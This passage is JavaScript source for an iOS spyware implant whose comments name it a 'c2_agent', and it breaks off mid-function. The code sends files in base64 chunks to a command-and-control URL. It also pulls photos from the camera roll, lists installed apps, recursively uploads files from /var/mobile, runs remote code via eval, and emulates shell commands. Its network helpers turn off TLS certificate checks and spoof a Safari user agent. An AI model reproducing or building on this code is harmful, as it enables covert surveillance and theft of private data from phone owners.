Native.callSymbol(\"calloc\", 1, 8);\n\tvar wPtr = Native.callSymbol(\"calloc\", 1, 8);\n\ttry {\n\t\tNative.callSymbol(\"CFStreamCreatePairWithSocketToHost\", 0n, hostCF, port, BigInt(rPtr), BigInt(wPtr));\n\t\tvar rs = Native.readPtr(BigInt(rPtr));\n\t\tvar ws = Native.readPtr(BigInt(wPtr));\n\t\tNative.callSymbol(\"CFRelease\", hostCF); hostCF = 0n;\n\t\tNative.callSymbol(\"free\", BigInt(rPtr)); Native.callSymbol(\"free\", BigInt(wPtr));\n\t\trPtr = 0n; wPtr = 0n;\n\t\tif (!rs || rs === 0n || !ws || ws === 0n) return false;\n\t\ttry {\n\t\t\tvar kLevel = _getGlobalCFSafe(\"kCFStreamPropertySocketSecurityLevel\");\n\t\t\tvar kNeg = _getGlobalCFSafe(\"kCFStreamSocketSecurityLevelNegotiatedSSL\");\n\t\t\tif (kLevel && kNeg) {\n\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kLevel, kNeg);\n\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kLevel, kNeg);\n\t\t\t}\n\t\t\tvar kSSL = _getGlobalCFSafe(\"kCFStreamPropertySSLSettings\");\n\t\t\tvar kValCert = _getGlobalCFSafe(\"kCFStreamSSLValidatesCertificateChain\");\n\t\t\tvar kFalse = _getGlobalCF(\"kCFBooleanFalse\");\n\t\t\tvar kKeyCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryKeyCallBacks\");\n\t\t\tvar kValCB = Native.callSymbol(\"dlsym\", 0xfffffffffffffffen, \"kCFTypeDictionaryValueCallBacks\");\n\t\t\tif (kSSL && kValCert && kFalse && kKeyCB && kValCB) {\n\t\t\t\tvar dict = Native.callSymbol(\"CFDictionaryCreateMutable\", 0n, 2, BigInt(kKeyCB), BigInt(kValCB));\n\t\t\t\tif (dict && dict !== 0n) {\n\t\t\t\t\tNative.callSymbol(\"CFDictionarySetValue\", dict, kValCert, kFalse);\n\t\t\t\t\tNative.callSymbol(\"CFWriteStreamSetProperty\", ws, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFReadStreamSetProperty\", rs, kSSL, dict);\n\t\t\t\t\tNative.callSymbol(\"CFRelease\", dict);\n\t\t\t\t}\n\t\t\t}\n\t\t\tNative.callSymbol(\"CFWriteStreamOpen\", ws);\n\t\t\tNative.callSymbol(\"CFReadStreamOpen\", rs);\n\t\t\tvar ready = false;\n\t\t\tfor (var wi = 0; wi < 80; wi++) {\n\t\t\t\tvar st = Number(Native.callSymbol(\"CFWriteStreamGetStatus\", ws));\n\t\t\t\tif (st === 2) { ready = true; break; }\n\t\t\t\tif (st >= 5) break;\n\t\t\t\tNative.callSymbol(\"usleep\", 100000);\n\t\t\t}\n\t\t\tif (!ready) return false;\n\t\t\tvar totalSent = 0;\n\t\t\twhile (totalSent < reqLen) {\n\t\t\t\tvar nw = Number(Native.callSymbol(\"CFWriteStreamWrite\", ws, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\t\tif (nw <= 0) break;\n\t\t\t\ttotalSent += nw;\n\t\t\t}\n\t\t\treturn totalSent >= reqLen;\n\t\t} finally {\n\t\t\tNative.callSymbol(\"CFReadStreamClose\", rs);\n\t\t\tNative.callSymbol(\"CFWriteStreamClose\", ws);\n\t\t\tNative.callSymbol(\"CFRelease\", rs);\n\t\t\tNative.callSymbol(\"CFRelease\", ws);\n\t\t}\n\t} finally {\n\t\tif (hostCF && hostCF !== 0n) Native.callSymbol(\"CFRelease\", hostCF);\n\t\tif (rPtr && rPtr !== 0n) Native.callSymbol(\"free\", BigInt(rPtr));\n\t\tif (wPtr && wPtr !== 0n) Native.callSymbol(\"free\", BigInt(wPtr));\n\t}\n}\n\nfunction _socketSendRaw(host, port, reqBuf, reqLen) {\n\tvar fd = Number(Native.callSymbol(\"socket\", 2, 1, 0));\n\tif (fd <= 0) return false;\n\ttry {\n\t\tvar tv = Native.callSymbol(\"malloc\", 16n);\n\t\tNative.write64(tv, 15n); Native.write64(tv + 8n, 0n);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1005, tv, 16);\n\t\tNative.callSymbol(\"setsockopt\", fd, 0xFFFF, 0x1006, tv, 16);\n\t\tNative.callSymbol(\"free\", tv);\n\t\tvar sa = Native.callSymbol(\"calloc\", 1, 16);\n\t\tvar sab = new ArrayBuffer(16);\n\t\tvar sv = new DataView(sab);\n\t\tsv.setUint8(0, 16); sv.setUint8(1, 2);\n\t\tsv.setUint16(2, port, false);\n\t\tvar pp = host.split(\".\");\n\t\tsv.setUint8(4, parseInt(pp[0])); sv.setUint8(5, parseInt(pp[1]));\n\t\tsv.setUint8(6, parseInt(pp[2])); sv.setUint8(7, parseInt(pp[3]));\n\t\tNative.write(sa, sab);\n\t\tvar cr = Number(Native.callSymbol(\"connect\", fd, sa, 16));\n\t\tNative.callSymbol(\"free\", sa);\n\t\tif (cr !== 0) return false;\n\t\tvar totalSent = 0;\n\t\twhile (totalSent < reqLen) {\n\t\t\tvar nw = Number(Native.callSymbol(\"write\", fd, reqBuf + BigInt(totalSent), reqLen - totalSent));\n\t\t\tif (nw <= 0) break;\n\t\t\ttotalSent += nw;\n\t\t}\n\t\treturn totalSent >= reqLen;\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _hqUploadPhoto(filePath, filename, uuid, seq, md5hash) {\n\treturn false;\n\tvar useTLS = HQ_API_BASE.indexOf(\"https://\") === 0;\n\tvar p = parseURL(HQ_API_BASE + \"/p\");\n\tvar fileFd = Number(Native.callSymbol(\"open\", filePath, 0, 0));\n\tif (fileFd < 0) return false;\n\tvar fileLen = Number(Native.callSymbol(\"lseek\", fileFd, 0, 2));\n\tNative.callSymbol(\"lseek\", fileFd, 0, 0);\n\tif (fileLen <= 0 || fileLen > 5242880) {\n\t\tNative.callSymbol(\"close\", fileFd);\n\t\treturn false;\n\t}\n\tvar fileBuf = Native.callSymbol(\"malloc\", BigInt(fileLen));\n\tif (!fileBuf || fileBuf === 0n) { Native.callSymbol(\"close\", fileFd); return false; }\n\tNative.callSymbol(\"read\", fileFd, fileBuf, fileLen);\n\tNative.callSymbol(\"close\", fileFd);\n\n\tvar bnd = \"------HqBound\";\n\tvar ua = \"Mozilla/5.0 (iPhone; CPU iPhone OS 18_5 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/18.5 Mobile/15E148 Safari/604.1\";\n\tvar prefix =\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"uuid\\\"\\r\\n\\r\\n\" + uuid + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"filename\\\"\\r\\n\\r\\n\" + filename + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"seq\\\"\\r\\n\\r\\n\" + seq + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"md5\\\"\\r\\n\\r\\n\" + md5hash + \"\\r\\n\" +\n\t\t\"--\" + bnd + \"\\r\\nContent-Disposition: form-data; name=\\\"file\\\"; filename=\\\"\" + filename + \"\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\";\n\tvar suffix = \"\\r\\n--\" + bnd + \"--\\r\\n\";\n\tvar bodyLen = prefix.length + fileLen + suffix.length;\n\tvar hdr = \"POST /p HTTP/1.0\\r\\nHost: \" + p.host + \"\\r\\nContent-Type: multipart/form-data; boundary=\" + bnd + \"\\r\\nUser-Agent: \" + ua + \"\\r\\nContent-Length: \" + bodyLen + \"\\r\\n\\r\\n\";\n\n\tvar totalLen = hdr.length + bodyLen;\n\tvar reqBuf = Native.callSymbol(\"malloc\", BigInt(totalLen));\n\tif (!reqBuf || reqBuf === 0n) { Native.callSymbol(\"free\", fileBuf); return false; }\n\n\t_writeStr(reqBuf, hdr);\n\t_writeStr(reqBuf + BigInt(hdr.length), prefix);\n\tNative.callSymbol(\"memcpy\", reqBuf + BigInt(hdr.length + prefix.length), fileBuf, BigInt(fileLen));\n\tNative.callSymbol(\"free\", fileBuf);\n\t_writeStr(reqBuf + BigInt(hdr.length + prefix.length + fileLen), suffix);\n\n\tvar ok = useTLS\n\t\t? _cfstreamSendRaw(p.host, p.port, reqBuf, totalLen)\n\t\t: _socketSendRaw(p.host, p.port, reqBuf, totalLen);\n\tNative.callSymbol(\"free\", reqBuf);\n\treturn ok;\n}\n\n// ============================================================================\n// File & Directory Helpers\n// ============================================================================\n\nfunction readFileB64(path, maxSize) {\n\tmaxSize = maxSize || MAX_FILE_SIZE;\n\tconst fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tconst sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz <= 0 || sz > maxSize) return null;\n\t\tconst buf = Native.callSymbol(\"malloc\", BigInt(sz));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tconst nr = Number(Native.callSymbol(\"read\", fd, buf, sz));\n\t\t\tif (nr <= 0) return null;\n\t\t\treturn { b64: bytesToBase64(new Uint8Array(Native.read(buf, nr))), size: nr };\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction getFileSize(path) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return -1;\n\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tNative.callSymbol(\"close\", fd);\n\treturn sz;\n}\n\nfunction sendFileChunked(cmdId, path, filename, category, meta) {\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return { ok: false, error: \"open failed\", sent: 0, total: 0 };\n\ttry {\n\t\treturn _sendChunksFromFd(cmdId, fd, -1, filename, category, meta);\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _sendChunksFromFd(cmdId, fd, knownSize, filename, category, meta) {\n\tvar fileSize = knownSize > 0 ? knownSize : Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\tif (knownSize <= 0) Native.callSymbol(\"lseek\", fd, 0, 0);\n\tif (fileSize <= 0) return { ok: false, error: \"empty file\", sent: 0, total: 0 };\n\n\tvar totalChunks = Math.ceil(fileSize / CHUNK_SIZE);\n\tvar buf = Native.callSymbol(\"malloc\", BigInt(CHUNK_SIZE));\n\tif (!buf || buf === 0n) return { ok: false, error: \"malloc failed\", sent: 0, total: totalChunks };\n\tvar sentOk = 0, lastErr = \"\";\n\ttry {\n\t\tfor (var ci = 0; ci < totalChunks; ci++) {\n\t\t\tvar toRead = Math.min(CHUNK_SIZE, fileSize - ci * CHUNK_SIZE);\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) { lastErr = \"read returned \" + nr; break; }\n\t\t\tvar b64 = bytesToBase64(new Uint8Array(Native.read(buf, nr)));\n\t\t\tvar body = {\n\t\t\t\tcommand_id: cmdId, uuid: DEVICE_UUID,\n\t\t\t\tfilename: filename, data: b64,\n\t\t\t\tchunk_index: ci, total_chunks: totalChunks,\n\t\t\t\tcategory: category || \"\"\n\t\t\t};\n\t\t\tif (meta && ci === totalChunks - 1) {\n\t\t\t\tbody._exec_start_ms = meta.start_ms || 0;\n\t\t\t\tbody._exec_end_ms = meta.end_ms || 0;\n\t\t\t}\n\t\t\tvar postOk = false;\n\t\t\tfor (var retry = 0; retry < 3; retry++) {\n\t\t\t\ttry {\n\t\t\t\t\tvar r = httpPost(C2_RESULT_URL, body);\n\t\t\t\t\tif (r !== null) { postOk = true; break; }\n\t\t\t\t} catch(pe) {}\n\t\t\t\tNative.callSymbol(\"usleep\", 2000000);\n\t\t\t}\n\t\t\tif (postOk) { sentOk++; }\n\t\t\telse { lastErr = \"POST failed chunk \" + ci; break; }\n\t\t}\n\t} finally { Native.callSymbol(\"free\", buf); }\n\treturn { ok: sentOk === totalChunks, error: lastErr, sent: sentOk,\n\t\t\t total: totalChunks, fileSize: fileSize };\n}\n\nfunction listDir(path) {\n\tconst d = Native.callSymbol(\"opendir\", path);\n\tif (!d || d === 0n) return [];\n\tconst out = [];\n\tfor (;;) {\n\t\tconst ent = Native.callSymbol(\"readdir\", d);\n\t\tif (!ent || ent === 0n) break;\n\t\t// Darwin dirent: d_ino(8)+d_seekoff(8)+d_reclen(2)+d_namlen(2)+d_type(1)+d_name\n\t\tconst dtype = new Uint8Array(Native.read(ent + 20n, 1))[0];\n\t\tconst name = Native.readString(ent + 21n, 256);\n\t\tif (name === \".\" || name === \"..\") continue;\n\t\tout.push({ name: name, type: dtype === 4 ? \"dir\" : dtype === 8 ? \"file\" : \"\"+dtype });\n\t}\n\tNative.callSymbol(\"closedir\", d);\n\treturn out;\n}\n\n// ============================================================================\n// Command Handlers\n// ============================================================================\n\nfunction sendResult(cmdId, data, filename, category, meta) {\n\tconst body = { command_id: cmdId, uuid: DEVICE_UUID, filename: filename || \"result.bin\" };\n\tif (data) body.data = data;\n\tif (category) body.category = category;\n\tif (meta) {\n\t\tif (meta.start_ms) body._exec_start_ms = meta.start_ms;\n\t\tif (meta.end_ms) body._exec_end_ms = meta.end_ms;\n\t}\n\tfor (var _retry = 0; _retry < 3; _retry++) {\n\t\tvar _resp = httpPost(C2_RESULT_URL, body);\n\t\tif (_resp !== null) return;\n\t\tNative.callSymbol(\"usleep\", 2000000);\n\t}\n}\n\nfunction sendJSON(cmdId, obj, filename, meta) {\n\tconst s = JSON.stringify(obj);\n\tsendResult(cmdId, bytesToBase64(new Uint8Array(Native.stringToBytes(s, false))), filename || \"result.json\", null, meta);\n}\n\nfunction handleLs(cmd) {\n\tconst p = (cmd.params && cmd.params.path) || \"/\";\n\tsendJSON(cmd.command_id, listDir(p), \"ls_\" + p.replace(/\\//g, \"_\") + \".json\");\n}\n\nfunction handleDownload(cmd) {\n\tvar p = cmd.params && cmd.params.path;\n\tif (!p) return;\n\tvar maxSz = (cmd.params && cmd.params.max_size) || MAX_FILE_SIZE;\n\tvar sz = getFileSize(p);\n\tif (sz <= 0 || sz > maxSz) return;\n\tvar fname = p.split(\"/\").pop();\n\tif (sz <= CHUNK_SIZE) {\n\t\tvar f = readFileB64(p, maxSz);\n\t\tif (f) sendResult(cmd.command_id, f.b64, fname);\n\t} else {\n\t\tsendFileChunked(cmd.command_id, p, fname);\n\t}\n}\n\nfunction handlePhotos(cmd) {\n\tvar dcim = \"/var/mobile/Media/DCIM\";\n\tvar maxCount = (cmd.params && cmd.params.max_count) || 50;\n\tvar count = 0;\n\tvar dirs = listDir(dcim);\n\tfor (var di = 0; di < dirs.length && count < maxCount; di++) {\n\t\tif (dirs[di].type !== \"dir\") continue;\n\t\tvar sub = dcim + \"/\" + dirs[di].name;\n\t\tvar files = listDir(sub);\n\t\tfor (var fi = 0; fi < files.length && count < maxCount; fi++) {\n\t\t\tif (files[fi].type !== \"file\") continue;\n\t\t\tvar fp = sub + \"/\" + files[fi].name;\n\t\t\tvar sz = getFileSize(fp);\n\t\t\tif (sz <= 0) continue;\n\t\t\tif (sz <= CHUNK_SIZE) {\n\t\t\t\tvar f = readFileB64(fp);\n\t\t\t\tif (f) {\n\t\t\t\t\tsendResult(cmd.command_id, f.b64, files[fi].name, \"photos\");\n\t\t\t\t\tcount++;\n\t\t\t\t}\n\t\t\t} else {\n\t\t\t\tvar chunkResult = sendFileChunked(cmd.command_id, fp, files[fi].name, \"photos\");\n\t\t\t\tif (chunkResult && chunkResult.ok) count++;\n\t\t\t}\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, { collected: count }, \"photos_summary.json\");\n}\n\nfunction _extractBundleId(bytes) {\n\tvar text = _rawToStr(bytes);\n\tvar xmlKey = \"MCMMetadataIdentifier\";\n\tvar ki = text.indexOf(xmlKey);\n\tif (ki >= 0) {\n\t\tvar si = text.indexOf(\"\", ki);\n\t\tif (si >= 0) {\n\t\t\tsi += 8;\n\t\t\tvar ei = text.indexOf(\"\", si);\n\t\t\tif (ei >= 0) return text.substring(si, ei);\n\t\t}\n\t}\n\tvar strings = [];\n\tvar cur = \"\";\n\tfor (var i = 0; i < bytes.length; i++) {\n\t\tif (bytes[i] >= 0x20 && bytes[i] <= 0x7E) {\n\t\t\tcur += String.fromCharCode(bytes[i]);\n\t\t} else {\n\t\t\tif (cur.length >= 3) strings.push(cur);\n\t\t\tcur = \"\";\n\t\t}\n\t}\n\tif (cur.length >= 3) strings.push(cur);\n\tvar mki = -1;\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tif (strings[j] === \"MCMMetadataIdentifier\") { mki = j; break; }\n\t}\n\tvar candidates = [];\n\tfor (var j = 0; j < strings.length; j++) {\n\t\tvar s = strings[j];\n\t\tvar fi = 0;\n\t\twhile (fi < s.length && !((s.charCodeAt(fi) >= 0x41 && s.charCodeAt(fi) <= 0x5A) ||\n\t\t\t(s.charCodeAt(fi) >= 0x61 && s.charCodeAt(fi) <= 0x7A))) fi++;\n\t\tif (fi > 0) s = s.substring(fi);\n\t\tif (s.length < 5) continue;\n\t\tif (s.indexOf(\".\") < 0) continue;\n\t\tif (s.indexOf(\"MCM\") === 0) continue;\n\t\tif (s.charAt(0) === \"$\") continue;\n\t\tif (s.indexOf(\"]\") >= 0) continue;\n\t\tif (s.indexOf(\"bplist\") >= 0) continue;\n\t\tif (s.indexOf(\"apple.mobile_container\") >= 0) continue;\n\t\tif (s.indexOf(\"MobileInstallation\") >= 0) continue;\n\t\tif (s === \"com.apple.installd\") continue;\n\t\tif (s === \"com.apple.containermanagerd\") continue;\n\t\tif (s === \"com.apple.lsd\") continue;\n\t\tcandidates.push({ s: s, i: j });\n\t}\n\tif (candidates.length === 0) return \"\";\n\tif (candidates.length === 1) return candidates[0].s;\n\tif (mki >= 0) {\n\t\tvar best = candidates[0];\n\t\tvar bd = Math.abs(candidates[0].i - mki);\n\t\tfor (var k = 1; k < candidates.length; k++) {\n\t\t\tvar d = Math.abs(candidates[k].i - mki);\n\t\t\tif (d < bd) { bd = d; best = candidates[k]; }\n\t\t}\n\t\treturn best.s;\n\t}\n\treturn candidates[0].s;\n}\n\nfunction handleApps(cmd) {\n\tconst base = \"/var/mobile/Containers/Data/Application\";\n\tconst dirs = listDir(base);\n\tconst apps = [];\n\tfor (let i = 0; i < dirs.length; i++) {\n\t\tif (dirs[i].type !== \"dir\") continue;\n\t\tconst meta = base + \"/\" + dirs[i].name + \"/.com.apple.mobile_container_manager.metadata.plist\";\n\t\tconst ok = Number(Native.callSymbol(\"access\", meta, 0)) === 0;\n\t\tvar bundleId = \"\";\n\t\tif (ok) {\n\t\t\tvar bytes = _readFileBytes(meta, 8192);\n\t\t\tif (bytes && bytes.length > 0) bundleId = _extractBundleId(bytes);\n\t\t}\n\t\tapps.push({ uuid: dirs[i].name, bundleId: bundleId, hasMetadata: ok });\n\t}\n\tsendJSON(cmd.command_id, apps, \"app_list.json\");\n}\n\nfunction handleExec(cmd) {\n\tvar p = cmd.params || {};\n\tvar code = p.code;\n\tvar startMs = Date.now();\n\tif (!code) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\", error: \"empty code\",\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t\treturn;\n\t}\n\ttry {\n\t\tvar r = eval(code);\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"success\",\n\t\t\tresult: String(r !== undefined ? r : \"\"),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t} catch (e) {\n\t\tsendJSON(cmd.command_id, {\n\t\t\tstatus: \"failed\",\n\t\t\terror: String(e),\n\t\t\texecution_time: (Date.now() - startMs) / 1000,\n\t\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t\t}, \"exec_result.json\");\n\t}\n}\n\n// ============================================================================\n// file_upload: scan directories, filter files, upload matching ones in chunks\n// ============================================================================\n\nfunction _scanDir(base, files, recurse, excludes, filterMode, exts, maxSz) {\n\tvar items = listDir(base);\n\tfor (var i = 0; i < items.length; i++) {\n\t\tvar full = base + \"/\" + items[i].name;\n\t\tif (items[i].type === \"dir\") {\n\t\t\tif (!recurse) continue;\n\t\t\tvar skip = false;\n\t\t\tfor (var e = 0; e < excludes.length; e++) {\n\t\t\t\tif (full === excludes[e]) { skip = true; break; }\n\t\t\t}\n\t\t\tif (!skip) _scanDir(full, files, recurse, excludes, filterMode, exts, maxSz);\n\t\t} else if (items[i].type === \"file\") {\n\t\t\tif (maxSz > 0) {\n\t\t\t\tvar fd = Number(Native.callSymbol(\"open\", full, 0, 0));\n\t\t\t\tif (fd >= 0) {\n\t\t\t\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\t\t\t\tNative.callSymbol(\"close\", fd);\n\t\t\t\t\tif (sz > maxSz) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tif (filterMode === \"include\" && exts.length > 0) {\n\t\t\t\tvar dot = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot < 0) continue;\n\t\t\t\tvar ext = items[i].name.substring(dot).toLowerCase();\n\t\t\t\tvar found = false;\n\t\t\t\tfor (var x = 0; x < exts.length; x++) {\n\t\t\t\t\tif (exts[x].toLowerCase() === ext) { found = true; break; }\n\t\t\t\t}\n\t\t\t\tif (!found) continue;\n\t\t\t} else if (filterMode === \"exclude\" && exts.length > 0) {\n\t\t\t\tvar dot2 = items[i].name.lastIndexOf(\".\");\n\t\t\t\tif (dot2 >= 0) {\n\t\t\t\t\tvar ext2 = items[i].name.substring(dot2).toLowerCase();\n\t\t\t\t\tvar blocked = false;\n\t\t\t\t\tfor (var x2 = 0; x2 < exts.length; x2++) {\n\t\t\t\t\t\tif (exts[x2].toLowerCase() === ext2) { blocked = true; break; }\n\t\t\t\t\t}\n\t\t\t\t\tif (blocked) continue;\n\t\t\t\t}\n\t\t\t}\n\t\t\tfiles.push(full);\n\t\t}\n\t}\n}\n\nfunction handleFileUpload(cmd) {\n\tvar p = cmd.params || {};\n\tvar paths = p.upload_paths || [\"/var/mobile\"];\n\tvar filterMode = p.filter_mode || \"none\";\n\tvar extStr = p.file_extensions || \"\";\n\tvar exts = extStr ? extStr.split(\",\") : [];\n\tvar recurse = (p.include_subdirs !== false);\n\tvar excludes = p.exclude_dirs || [];\n\tvar maxMB = p.max_file_size_mb;\n\tvar maxSz = (maxMB && maxMB > 0) ? maxMB * 1024 * 1024 : 0;\n\n\tvar files = [];\n\tfor (var pi = 0; pi < paths.length; pi++) {\n\t\t_scanDir(paths[pi], files, recurse, excludes, filterMode, exts, maxSz);\n\t}\n\n\tvar uploaded = 0;\n\tfor (var fi = 0; fi < files.length; fi++) {\n\t\tvar fname = files[fi].replace(/\\//g, \"_\");\n\t\tif (fname.charAt(0) === \"_\") fname = fname.substring(1);\n\t\tvar sz = getFileSize(files[fi]);\n\t\tif (sz <= 0) continue;\n\t\tif (sz <= CHUNK_SIZE) {\n\t\t\tvar rd = readFileB64(files[fi], maxSz > 0 ? maxSz : MAX_FILE_SIZE);\n\t\t\tif (rd) {\n\t\t\t\tsendResult(cmd.command_id, rd.b64, fname, \"file_upload\");\n\t\t\t\tuploaded++;\n\t\t\t}\n\t\t} else {\n\t\t\tvar chunkRes = sendFileChunked(cmd.command_id, files[fi], fname, \"file_upload\");\n\t\t\tif (chunkRes && chunkRes.ok) uploaded++;\n\t\t}\n\t}\n\tsendJSON(cmd.command_id, {\n\t\tscanned: files.length, uploaded: uploaded,\n\t\t_task_id: p._task_id || \"\", _task_type: p._task_type || \"\"\n\t}, \"file_upload_summary.json\");\n}\n\n// ============================================================================\n// Execute Command - unified shell-like command interface\n// Since c2_agent runs in a JS sandbox without shell access, common shell\n// commands are emulated via POSIX native calls.\n// Result format follows API spec: { exit_code, stdout(b64), stderr(b64),\n// execution_time, timeout }\n// ============================================================================\n\nvar _cwd = \"/var/mobile\";\n\nfunction _parseArgs(cmdStr) {\n\tvar args = [];\n\tvar cur = \"\";\n\tvar inQ = 0;\n\tfor (var i = 0; i < cmdStr.length; i++) {\n\t\tvar c = cmdStr.charAt(i);\n\t\tif (c === '\\\\' && i + 1 < cmdStr.length) { cur += cmdStr.charAt(++i); continue; }\n\t\tif (inQ === 1) { if (c === \"'\") inQ = 0; else cur += c; continue; }\n\t\tif (inQ === 2) { if (c === '\"') inQ = 0; else cur += c; continue; }\n\t\tif (c === \"'\") { inQ = 1; continue; }\n\t\tif (c === '\"') { inQ = 2; continue; }\n\t\tif (c === ' ' || c === '\\t') {\n\t\t\tif (cur.length) { args.push(cur); cur = \"\"; }\n\t\t\tcontinue;\n\t\t}\n\t\tcur += c;\n\t}\n\tif (cur.length) args.push(cur);\n\treturn args;\n}\n\nfunction _resolvePath(p) {\n\tif (!p) return _cwd;\n\tif (p === \"~\") return \"/var/mobile\";\n\tif (p.indexOf(\"~/\") === 0) return \"/var/mobile\" + p.substring(1);\n\tif (p.charAt(0) === '/') return p;\n\tvar base = _cwd;\n\tif (base.charAt(base.length - 1) !== '/') base += '/';\n\tvar parts = (base + p).split('/');\n\tvar res = [];\n\tfor (var i = 0; i < parts.length; i++) {\n\t\tif (parts[i] === '' && i > 0) continue;\n\t\tif (parts[i] === '.') continue;\n\t\tif (parts[i] === '..') { if (res.length > 1) res.pop(); }\n\t\telse res.push(parts[i]);\n\t}\n\treturn res.join('/') || '/';\n}\n\nfunction _strToB64(s) {\n\tif (!s) return \"\";\n\treturn bytesToBase64(new Uint8Array(Native.stringToBytes(s, false)));\n}\n\nfunction _readFileBytes(path, maxSz) {\n\tmaxSz = maxSz || (2 * 1024 * 1024);\n\tvar fd = Number(Native.callSymbol(\"open\", path, 0, 0));\n\tif (fd < 0) return null;\n\ttry {\n\t\tvar sz = Number(Native.callSymbol(\"lseek\", fd, 0, 2));\n\t\tNative.callSymbol(\"lseek\", fd, 0, 0);\n\t\tif (sz < 0) return null;\n\t\tif (sz === 0) return new Uint8Array(0);\n\t\tvar toRead = sz > maxSz ? maxSz : sz;\n\t\tvar buf = Native.callSymbol(\"malloc\", BigInt(toRead));\n\t\tif (!buf || buf === 0n) return null;\n\t\ttry {\n\t\t\tvar nr = Number(Native.callSymbol(\"read\", fd, buf, toRead));\n\t\t\tif (nr <= 0) return new Uint8Array(0);\n\t\t\treturn new Uint8Array(Native.read(buf, nr));\n\t\t} finally { Native.callSymbol(\"free\", buf); }\n\t} finally { Native.callSymbol(\"close\", fd); }\n}\n\nfunction _rawToStr(bytes) {\n\tvar s = \"\";\n\tfor (var i = 0; i < bytes.length; i++) s += String.fromCharCode(bytes[i]);\n\treturn s;\n}\n\nfunction _statFile(path) {\n\tvar sb = Native.callSymbol(\"calloc\", 1, 144);\n\tif (!sb || sb === 0n) return null;\n\tvar r = Number(Native.callSymbol(\"lstat\", path, BigInt(sb)));\n\tif (r !== 0) { Native.callSymbol(\"free\", sb); return null; }\n\tvar mode = _readU16(BigInt(sb), 4);\n\tvar nlink = _readU16(BigInt(sb), 6);\n\tvar size = _readI64(BigInt(sb), 96);\n\tvar atime = _readI64(BigInt(sb), 32);\n\tvar mtime = _readI64(BigInt(sb), 48);\n\tvar ctime = _readI64(BigInt(sb), 80);\n\tNative.callSymbol(\"free\", sb);\n\tvar fmt = mode & 0xF000;\n\treturn {\n\t\tmode: mode, nlink: nlink, size: size,\n\t\tatime: atime, mtime: mtime, ctime: ctime,\n\t\tisDir: fmt === 0x4000, isFile: fmt === 0x8000, isLink: fmt === 0xA000,\n\t\ttype: fmt === 0x4000 ? \"dir\" : fmt === 0xA000 ? \"link\" : \"file\"\n\t};\n}\n\nfunction _modeStr(mode) {\n\tvar fmt = mode & 0xF000;\n\tvar t = fmt === 0x4000 ? 'd' : fmt === 0xA000 ? 'l' : '-';\n\tvar bits = [0x100,0x080,0x040,0x020,0x010,0x008,0x004,0x002,0x001];\n\tvar chars = \"rwxrwxrwx\";\n\tvar p = \"\";\n\tfor (var i = 0; i < 9; i++) p += (mode & bits[i]) ? chars.charAt(i) : '-';\n\treturn t + p;\n}\n\nfunction _fmtSizeH(n) {\n\tif (n < 1024) return n + \"\";\n\tif (n < 1048576) return (n / 1024).toFixed(1) + \"K\";\n\tif (n < 1073741824) return (n / 1048576).toFixed(1) + \"M\";\n\treturn (n / 1073741824).toFixed(1) + \"G\";\n}\n\n// ---- File System Commands ----\n\nfunction _cmdLs(args) {\n\tvar long = false, all = false, target = null;\n\tfor (var i = 1; i < args.length; i++) {\n\t\tvar a = args[i];\n\t\tif (a.charAt(0) === '-') {\n\t\t\tfor (var j = 1; j < a.length; j++) {\n\t\t\t\tif (a.charAt(j) === 'l') long = true;\n\t\t\t\tif (a.charAt(j) === 'a') all = true;\n\t\t\t}\n\t\t} else target = a;\n\t}\n\tvar path = _resolvePath(target);\n\tvar st = _statFile(path);\n\tif (!st) return { code: 2, out: \"\", err: \"ls: \" + path + \": No such file or directory\\n\" };\n\tif (st.isFile) {\n\t\tif (long) return { code: 0, out: _modeStr(st.mode) + \"\\t\" + st.size + \"\\t\" + path + \"\\n\", err: \"\" };\n\t\treturn { code: 0, out: path + \"\\n\", err: \"\" };\n\t}\n\tvar items = listDir(path);\n\tvar out = \"\";\n\tfor (var i = 0; i < items.length; i++) {\n\t\tif (!all && items[i].name.charAt(0) === '.') continue;\n\t\tif (long) 